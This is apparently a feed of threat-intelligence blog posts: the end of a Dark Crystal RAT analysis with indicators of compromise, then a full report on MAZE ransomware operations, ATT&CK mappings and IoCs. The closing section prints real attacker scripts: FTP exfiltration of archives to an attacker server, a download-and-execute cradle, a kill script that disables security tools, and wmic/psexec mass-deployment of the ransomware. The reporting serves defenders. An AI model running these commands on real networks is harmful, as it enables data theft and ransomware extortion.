Figure 21: A YouTube demonstration revealed that Dark Crystal RAT previously existed in a Java version, and the C# version we analyzed is in beta Figure 22 shows another capture from the video at 6:28. The functionality displayed on the screen lines up nicely with the “msgbox”, “browseurl”, “clipboard”, “speak”, “opencd”, “closecd”, and other capabilities we discovered and enumerated in Table 6. Figure 22: A YouTube demonstration confirmed many of the Dark Crystal RAT capabilities we found in reverse engineering Conclusion In this post we walked through our analysis of the sample that the threat intel team provided to us and all its components. Through our initial triage, we found that its “dfsds.exe” component is Dark Crystal RAT. We found that Dark Crystal RAT was a .NET executable, and reverse engineered it. We extracted the malware’s configuration, and through dynamic analysis discovered the syntax of its C2 communications. We implemented a small proof-of-concept server to test the correct format of commands that can be sent to the malware, and how to interpret its uploaded screenshots. Finally, we took a second look at how actual threat actors would download and use Dark Crystal RAT. To conclude, indicators of compromise for this version of Dark Crystal RAT (MD5: 047af34af65efd5c6ee38eb7ad100a01) are given in Table 4. Indicators of Compromise Dark Crystal RAT (dfsds.exe) Handle artifacts   Mutex name bc2dc004028c4f0303f5e49984983352 Registry artifacts   Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit File system artifacts   File C:\Sysdll32.lnk File %APPDATA%\dotNET.lnk File Start Menu\Programs\Startup\Sysdll32.lnk File Start Menu\Programs\Startup\dotNET.lnk File %APPDATA%\<random process name>.exe File C:\<random process name>.exe Network artifacts   HTTP request hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/212bad81b4208a2b412dfca05f1d9fa7.php?data=active HTTP request hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/akcii239myzon0xwjlxqnn3b34w212bad81b4208a2b412dfca05f1d9f a7.php? type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ex t=<message_hash>&__ds_getdata_key=<key> HTTP request hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp 1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xw jlxqnn3b34w/<user_hash>.<message_hash> TCP connection domalo[.]online:80 TCP connection ipinfo[.]ip DNS lookup domalo[.]online DNS lookup ipinfo[.]ip Strings   Static string DCRatBuild Table 4: IoCs for this instance of DCRat FireEye Product Support for Dark Crystal RAT Table 5 describes how FireEye products react to the initial sample (MD5: b478d340a787b85e086cc951d0696cb1) and its Dark Crystal RAT payload, or in the case of Mandiant Security Validation, allow a stakeholder to validate their own capability to detect Dark Crystal RAT. FireEye Product Support for Dark Crystal RAT FireEye Network Security (NX) Backdoor.Plurox detection FireEye Email Security (EX & ETP) Backdoor.MSIL.DarkCrystal, Backdoor.Plurox, Malware.Binary.exe, Trojan.Vasal.FEC3, Win.Ransomware.Cerber-6267996-1, fe_ml_heuristic detections FireEye Endpoint Security (HX) Trojan.GenericKD.32546165, Backdoor.MSIL.DarkCrystal detections FireEye Malware Analysis (AX) Backdoor.Plurox.FEC2 detection FireEye Detection on Demand (DoD) Backdoor.Plurox.FEC2, FireEye.Malware detections Mandiant Security Validation Built-in Action coming soon Table 5: Support in FireEye products to detect Dark Crystal RAT or validate detection capability

  • Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents
    by Jeremy Kennelly on May 7, 2020 at 11:00 pm

    Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies. FireEye Mandiant Threat Intelligence has previously documented this threat in our investigations of trends across ransomware incidents, FIN6 activity, implications for OT networks, and other aspects of post-compromise ransomware deployment. Since November 2019, we’ve seen the MAZE ransomware being used in attacks that combine targeted ransomware use, public exposure of victim data, and an affiliate model. Malicious actors have been actively deploying MAZE ransomware since at least May 2019. The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee. The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations. This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations. Mandiant Threat Intelligence will be available to answer questions on the MAZE ransomware threat in a May 21 webinar. Victimology We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019. These organizations have been primarily based in North America, although victims spanned nearly every geographical region. Nearly every industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1). Figure 1: Geographical and industry distribution of alleged MAZE victims Multiple Actors Involved in MAZE Ransomware Operations Identified Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams. Additional information on these actors is available to Mandiant Intelligence subscribers. A panel used to manage victims targeted for MAZE ransomware deployment has a section for affiliate transactions. This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group. Under this business model, ransomware developers will partner with other actors (i.e. affiliates) who are responsible for distributing the malware. In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission. Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment. This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis. Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues. This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit. Figure 2: MAZE ransomware panel MAZE Initially Distributed via Exploit Kits and Spam Campaigns MAZE ransomware was initially distributed directly via exploit kits and spam campaigns through late 2019. For example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea. These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware. On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige informationen uber Steuerruckerstattung” and “1&1 Internet AG – Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3). Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently. These emails were sent using a number of malicious domains created with the registrant address [email protected] Figure 3: German-language lure On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United states. These emails originated from a compromised or spoofed account and contained an inline link to download a Maze executable payload. On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). These emails used the subjects “Missed package delivery” and “Your AT&T wireless bill is ready to view” and were sent using a number of malicious domains with the registrant address [email protected] Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019. Figure 4: AT&T email lure Figure 5: Canada Post email lure Shift to Post-Compromise Distribution Maximizes Impact Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise. This methodology provides an opportunity to infect more hosts within a victim’s environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees. Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data. Although the high-level intrusion scenarios preceding the distribution of MAZE ransomware are broadly similar, there have been notable variations across intrusions that suggest attribution to distinct teams. Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle. The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations. Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months. Initial Compromise There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents. This is consistent with our observations of multiple actors who use MAZE soliciting partners with network access. The following are a sample of observations from several Mandiant incident response engagements: A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON. An actor logged into an internet-facing system via RDP. The account used to grant initial access was a generic support account. It is unclear how the actor obtained the account’s password. An actor exploited a misconfiguration on an Internet-facing system. This access enabled the actor to deploy tools to pivot into the internal network. An actor logged into a Citrix web portal account with a weak password. This authenticated access enabled the actor to launch a Meterpreter payload on an internal system. Establish Foothold & Maintain Presence The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate objective of deploying MAZE ransomware. Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations. Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations. Web shells were deployed to an internet-facing system. The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor. Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations. An actor created a new domain account and added it to the domain administrators group. Escalate Privileges Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials. Less than two weeks after initial access, the actor downloaded and interacted with an archive named mimi.zip, which contained files corresponding to the credential harvesting tool Mimikatz. In the following days the same mimi.zip archive was identified on two domain controllers in the impacted environment. The actor attempted to find files with the word “password” within the environment. Additionally, several archive files were also created with file names suggestive of credential harvesting activity. The actor attempted to identify hosts running the KeePass password safe software. Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges. Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion. Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers’ efforts to understand the impacted organization’s Active Directory configuration. In this case the responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services. Reconnaissance Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents. The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks. In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network. The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information. Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations. Preliminary network reconnaissance has been conducted using a batch script named ‘2.bat’ which contained a series of nslookup commands. The output of this script was copied into a file named ‘2.txt’. The actor exfiltrated reconnaissance command output data and documents related to the IT environment to an attacker-controlled FTP server via an encoded PowerShell script. Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts. An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users. The output from this batch script (2adfind.bat) was saved into an archive named ‘ad.7z’ using an instance of the 7zip archiving utility named 7.exe. An actor used the tool smbtools.exe to assess whether accounts could login to systems across the environment. An actor collected directory listings from file servers across an impacted environment. Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration. Lateral Movement Across the majority of MAZE ransomware incidents lateral movement was accomplished via Cobalt Strike BEACON and using previously harvested credentials. Despite this uniformity, some alternative tools and approaches were also observed. Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation. The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. This allowed them to obtain immediate access to additional systems. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts. An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account. At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful. Complete Mission There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents. While malicious actors could monetize stolen data in various way (e.g. sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of stolen data if victim organizations do not pay an extortion fee. An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password. This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013. A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident. Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server. An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service. Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares. These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility. In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands. Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems. Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment. An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion. Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. In some cases, thousands of hosts were ultimately encrypted. The encryption process proceeded as follows:A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat. Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (windows.bat) and an instance of MAZE ransomware (sss.exe) on hosts across the impacted environment Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts targeting ten times as many hosts as were ultimately encrypted. Implications Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector. For more comprehensive recommendations for addressing ransomware, please refer to our Ransomware Protection and Containment Strategies blog post and the linked white paper. Mandiant Security Validation Actions Organizations can validate their security controls against more than 20 MAZE-specific actions with Mandiant Security Validation. Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information. A100-877 – Active Directory – BloodHound, CollectionMethod All A150-006 – Command and Control – BEACON, Check-in A101-030 – Command and Control – MAZE Ransomware, C2 Beacon, Variant #1 A101-031 – Command and Control – MAZE Ransomware, C2 Beacon, Variant #2 A101-032 – Command and Control – MAZE Ransomware, C2 Beacon, Variant #3 A100-878 – Command and Control – MAZE Ransomware, C2 Check-in A100-887 – Command and Control – MAZE, DNS Query #1 A100-888 – Command and Control – MAZE, DNS Query #2 A100-889 – Command and Control – MAZE, DNS Query #3 A100-890 –  Command and Control – MAZE, DNS Query #4 A100-891 – Command and Control – MAZE, DNS Query #5 A100-509 – Exploit Kit Activity – Fallout Exploit Kit CVE-2018-8174, Github PoC A100-339 – Exploit Kit Activity – Fallout Exploit Kit CVE-2018-8174, Landing Page A101-033 – Exploit Kit Activity – Spelevo Exploit Kit, MAZE C2 A100-208 – FTP-based Exfil/Upload of PII Data (Various Compression) A104-488 – Host CLI – Collection, Exfiltration: Active Directory Reconnaissance with SharpHound, CollectionMethod All A104-046 – Host CLI – Collection, Exfiltration: Data from Local Drive using PowerShell A104-090 – Host CLI – Collection, Impact: Creation of a Volume Shadow Copy A104-489 – Host CLI – Collection: Privilege Escalation Check with PowerUp, Invoke-AllChecks A104-037 – Host CLI – Credential Access, Discovery: File & Directory Discovery A104-052 – Host CLI – Credential Access: Mimikatz A104-167 – Host CLI – Credential Access: Mimikatz (2.1.1) A104-490 – Host CLI – Defense Evasion, Discovery: Terminate Processes, Malware Analysis Tools A104-491 – Host CLI – Defense Evasion, Persistence: MAZE, Create Target.lnk A104-500 – Host CLI – Discovery, Defense Evasion: Debugger Detection A104-492 – Host CLI – Discovery, Execution: Antivirus Query with WMI, PowerShell A104-374 – Host CLI – Discovery: Enumerate Active Directory Forests A104-493 – Host CLI – Discovery: Enumerate Network Shares A104-481 – Host CLI – Discovery: Language Query Using PowerShell, Current User A104-482 – Host CLI – Discovery: Language Query Using reg query A104-494 – Host CLI – Discovery: MAZE, Dropping Ransomware Note Burn Directory A104-495 – Host CLI – Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant A104-496 – Host CLI – Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant A104-027 – Host CLI – Discovery: Process Discovery A104-028 – Host CLI – Discovery: Process Discovery with PowerShell A104-029 – Host CLI – Discovery: Remote System Discovery A104-153 – Host CLI – Discovery: Security Software Identification with Tasklist A104-083 – Host CLI – Discovery: System Info A104-483 – Host CLI – Exfiltration: PowerShell FTP Upload A104-498 – Host CLI – Impact: MAZE, Desktop Wallpaper Ransomware Message A104-227 – Host CLI – Initial Access, Lateral Movement: Replication Through Removable Media A100-879 – Malicious File Transfer – Adfind.exe, Download A150-046 – Malicious File Transfer – BEACON, Download A100-880 – Malicious File Transfer – Bloodhound Ingestor Download, C Sharp Executable Variant A100-881 – Malicious File Transfer – Bloodhound Ingestor Download, C Sharp PowerShell Variant A100-882 – Malicious File Transfer – Bloodhound Ingestor Download, PowerShell Variant A101-037 – Malicious File Transfer – MAZE Download, Variant #1 A101-038 – Malicious File Transfer – MAZE Download, Variant #2 A101-039 – Malicious File Transfer – MAZE Download, Variant #3 A101-040 – Malicious File Transfer – MAZE Download, Variant #4 A101-041 – Malicious File Transfer – MAZE Download, Variant #5 A101-042 – Malicious File Transfer – MAZE Download, Variant #6 A101-043 – Malicious File Transfer – MAZE Download, Variant #7 A101-044 – Malicious File Transfer – MAZE Download, Variant #8 A101-045 – Malicious File Transfer – MAZE Download, Variant #9 A101-034 – Malicious File Transfer – MAZE Dropper Download, Variant #1 A101-035 – Malicious File Transfer – MAZE Dropper Download, Variant #2 A100-885 – Malicious File Transfer – MAZE Dropper Download, Variant #4 A101-036 – Malicious File Transfer – MAZE Ransomware, Malicious Macro, PowerShell Script Download A100-284 – Malicious File Transfer – Mimikatz W/ Padding (1MB), Download A100-886 – Malicious File Transfer – Rclone.exe, Download A100-484 – Scanning Activity – Nmap smb-enum-shares, SMB Share Enumeration Detecting the Techniques Platform Signature Name MVX (covers multiple FireEye technologies) Bale Detection FE_Ransomware_Win_MAZE_1 Endpoint Security WMIC SHADOWCOPY DELETE (METHODOLOGY) MAZE RANSOMWARE (FAMILY) Network Security Ransomware.Win.MAZE Ransomware.Maze Ransomware.Maze MITRE ATT&CK Mappings Mandiant currently tracks three separate clusters of activity involved in the post-compromise distribution of MAZE ransomware. Future data collection and analysis efforts may reveal additional groups involved in intrusion activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters. It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s). MAZE Group 1 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution Persistence T1078: Valid Accounts T1050: New Service Privilege Escalation T1078: Valid Accounts Defense Evasion T1078: Valid Accounts T1036: Masquerading T1027: Obfuscated Files or Information T1064: Scripting Credential Access T1110: Brute Force T1003: Credential Dumping Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1016: System Network Configuration Discovery Lateral Movement T1076: Remote Desktop Protocol T1105: Remote File Copy Collection T1005: Data from Local System Command and Control T1043: Commonly Used Port T1105: Remote File Copy T1071: Standard Application Layer Protocol Exfiltration T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact T1489: Service Stop MAZE Group 2 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Initial Access T1193: Spearphishing Attachment Execution T1059: Command-Line Interface T1086: PowerShell T1085: Rundll32 T1064: Scripting T1204: User Execution T1028: Windows Remote Management Persistence T1078: Valid Accounts T1050: New Service T1136: Create Account Privilege Escalation T1078: Valid Accounts T1050: New Service Defense Evasion T1078: Valid Accounts T1140: Deobfuscate/Decode Files or Information T1107: File Deletion T1036: Masquerading Credential Access T1003: Credential Dumping T1081: Credentials in Files T1171: LLMNR/NBT-NS Poisoning Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1033: System Owner/User Discovery Lateral Movement T1076: Remote Desktop Protocol T1028: Windows Remote Management Collection T1074: Data Staged T1005: Data from Local System T1039: Data from Network Shared Drive Command and Control T1043: Commonly Used Port T1219: Remote Access Tools T1105: Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1020: Automated Exfiltration T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact MAZE Group 3 MITRE ATT&CK Mapping (FIN6) ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution Persistence T1078: Valid Accounts T1031: Modify Existing Service Privilege Escalation T1055: Process Injection T1078: Valid Accounts Defense Evasion T1055: Process Injection T1078: Valid Accounts T1116: Code Signing T1089: Disabling Security Tools T1202: Indirect Command Execution T1112: Modify Registry T1027: Obfuscated Files or Information T1108: Redundant Access T1064: Scripting Credential Access T1003: Credential Dumping Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery Lateral Movement T1097: Pass the Ticket T1076: Remote Desktop Protocol T1105: Remote File Copy T1077: Windows Admin Shares Collection T1074: Data Staged T1039: Data from Network Shared Drive Command and Control T1043: Commonly Used Port T1219: Remote Access Tools T1105: Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1002: Data Compressed Impact T1486: Data Encrypted for Impact T1490: Inhibit System Recovery T1489: Service Stop Example Commands Observed in MAZE Ransomware Incidents function Enum-UsersFolders($PathEnum) {     $foldersArr = ‘Desktop’,’Downloads’,’Documents’,’AppData/Roaming’,’AppData/Local’     Get-ChildItem -Path $PathEnum’/c$’ -ErrorAction SilentlyContinue     Get-ChildItem -Path $PathEnum’/c$/Program Files’ -ErrorAction SilentlyContinue     Get-ChildItem -Path $PathEnum’/c$/Program Files (x86)’ -ErrorAction SilentlyContinue     foreach($Directory in Get-ChildItem -Path $PathEnum’/c$/Users’ -ErrorAction SilentlyContinue) {         foreach($SeachDir in $foldersArr) {             Get-ChildItem -Path $PathEnum’/c$/Users/’$Directory’/’$SeachDir -ErrorAction SilentlyContinue         }     } } PowerShell reconnaissance script used to enumerate directories $Dir=”C:/Windows/Temp/” #ftp server $ftp = “ftp://<IP Address>/incoming/” $user = “<username>” $pass = “<password>” $webclient = New-Object System.Net.WebClient $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass) #list every sql server trace file foreach($item in (dir $Dir “*.7z”)){    “Uploading $item…”    $uri = New-Object System.Uri($ftp+$item.Name)    $webclient.UploadFile($uri, $item.FullName) } Decoded FTP upload PowerShell script powershell -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:43984/’); Add-FtpFile -ftpFilePath “ftp://<IP  Address>/cobalt_uploads/<file name>” -localFile “<local file path>\ <file name> ” -userName “<username>” -password “<password>” Decoded FTP upload PowerShell script echo 7 echo 7 taskkill /im csrss_tc.exe /f taskkill /im kwsprod.exe /f taskkill /im avkwctl.exe /f taskkill /im rnav.exe /f taskkill /im crssvc.exe /f sc config CSAuth start= disabled taskkill /im vsserv.exe /f taskkill /im ppmcativedetection.exe /f taskkill /im sahookmain.exe /f taskkill /im mcinfo.exe /f reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group=”remote desktop” new enable=Ye c:\windows\temp\sss.exe Excerpt from windows.bat kill script start copy sss.exe \\<internal IP>\c$\windows\temp\ start copy sss.exe \\<internal IP>\c$\windows\temp\ start copy windows.bat \\<internal IP>\c$\windows\temp\ start copy windows.bat \\<internal IP>\c$\windows\temp\ start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “c:\windows\temp\sss.exe” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “c:\windows\temp\sss.exe” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “cmd.exe /c c:\windows\temp\windows.bat” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “cmd.exe /c c:\windows\temp\windows.bat” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “cmd.exe /c copy \\<internal IP>\c$\windows\temp\sss.exe c:\windows\temp\” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “cmd.exe /c copy \\<internal IP>\c$\windows\temp\sss.exe c:\windows\temp\” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “cmd.exe /c copy \\<internal IP>\c$\windows\temp\windows.bat c:\windows\temp\” start wmic /node:”<internal IP>” /user:”<DOMAIN\adminaccount>” /password:”<password>” process call create “cmd.exe /c copy \\<internal IP>\c$\windows\temp\windows.bat c:\windows\temp\” start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p “<password>” -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p “<password>” -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p “<password>” -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat start psexec.exe \\<internal IP> -u < DOMAIN\adminaccount> -p “<password>” -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat Example commands from MAZE distribution scripts @echo off del done.txt del offline.txt rem Loop thru list of computer names in file specified on command-line for /f %%i in (%1) do call :check_machine %%i goto end :check_machine rem Check to see if machine is up. ping -n 1 %1|Find “TTL=” >NUL 2>NUL if errorlevel 1 goto down echo %1 START cmd /c “copy [Location of MAZE binary] \\%1\c$\windows\temp && exit” timeout 1 > NUL echo %1 >> done.txt rem wmic /node:”%1″ process call create “regsvr32.exe /i C:\windows\temp\[MAZE binary name]” >> done.txt START “” cmd /c “wmic /node:”%1” process call create “regsvr32.exe /i C:\windows\temp\[MAZE binary name]” && exit” goto end :down   rem Report machine down   echo %1 >> offline.txt :end Example MAZE distribution script Indicators of Compromise Maze Payloads 064058cf092063a5b69ed8fd2a1a04fe 0f841c6332c89eaa7cac14c9d5b1d35b 108a298b4ed5b4e77541061f32e55751 11308e450b1f17954f531122a56fae3b 15d7dd126391b0e7963c562a6cf3992c 21a563f958b73d453ad91e251b11855c 27c5ecbb94b84c315d56673a851b6cf9 2f78ff32cbb3c478865a88276248d419 335aba8d135cc2e66549080ec9e8c8b7 3bfcba2dd05e1c75f86c008f4d245f62 46b98ee908d08f15137e509e5e69db1b 5774f35d180c0702741a46d98190ff37 5df79164b6d0661277f11691121b1d53 658e9deec68cf5d33ee0779f54806cc2 65cf08ffaf12e47de8cd37098aac5b33 79d137d91be9819930eeb3876e4fbe79 8045b3d2d4a6084f14618b028710ce85 8205a1106ae91d0b0705992d61e84ab2 83b8d994b989f6cbeea3e1a5d68ca5d8 868d604146e7e5cb5995934b085846e3 87239ce48fc8196a5ab66d8562f48f26 89e1ddb8cc86c710ee068d6c6bf300f4 910aa49813ee4cc7e4fa0074db5e454a 9eb13d56c363df67490bcc2149229e4c a0c5b4adbcd9eb6de9d32537b16c423b a3a3495ae2fc83479baeaf1878e1ea84 b02be7a336dcc6635172e0d6ec24c554 b40a9eda37493425782bda4a3d9dad58 b4d6cb4e52bb525ebe43349076a240df b6786f141148925010122819047d1882 b93616a1ea4f4a131cc0507e6c789f94 bd9838d84fd77205011e8b0c2bd711e0 be537a66d01c67076c8491b05866c894 bf2e43ff8542e73c1b27291e0df06afd c3ce5e8075f506e396ee601f2757a2bd d2dda72ff2fbbb89bd871c5fc21ee96a d3eaab616883fcf51dcbdb4769dd86df d552be44a11d831e874e05cadafe04b6 deebbea18401e8b5e83c410c6d3a8b4e dfa4631ec2b8459b1041168b1b1d5105 e57ba11045a4b7bc30bd2d33498ef194 e69a8eb94f65480980deaf1ff5a431a6 ef95c48e750c1a3b1af8f5446fa04f54 f04d404d84be66e64a584d425844b926 f457bb5060543db3146291d8c9ad1001 f5ecda7dd8bb1c514f93c09cea8ae00d f83cef2bf33a4d43e58b771e81af3ecc fba4cbb7167176990d5a8d24e9505f71 Maze Check-in IPs 91.218.114.11 91.218.114.25 91.218.114.26 91.218.114.31 91.218.114.32 91.218.114.37 91.218.114.38 91.218.114.4 91.218.114.77 91.218.114.79 92.63.11.151 92.63.15.6  92.63.15.8  92.63.17.245 92.63.194.20 92.63.194.3 92.63.29.137 92.63.32.2  92.63.32.52 92.63.32.55 92.63.32.57 92.63.37.100 92.63.8.47 Maze-related Domains aoacugmutagkwctu[.]onion mazedecrypt[.]top  mazenews[.]top newsmaze[.]top Maze Download URLs http://104.168.174.32/wordupd_3.0.1.tmp http://104.168.198.208/wordupd.tmp http://104.168.201.35/dospizdos.tmp 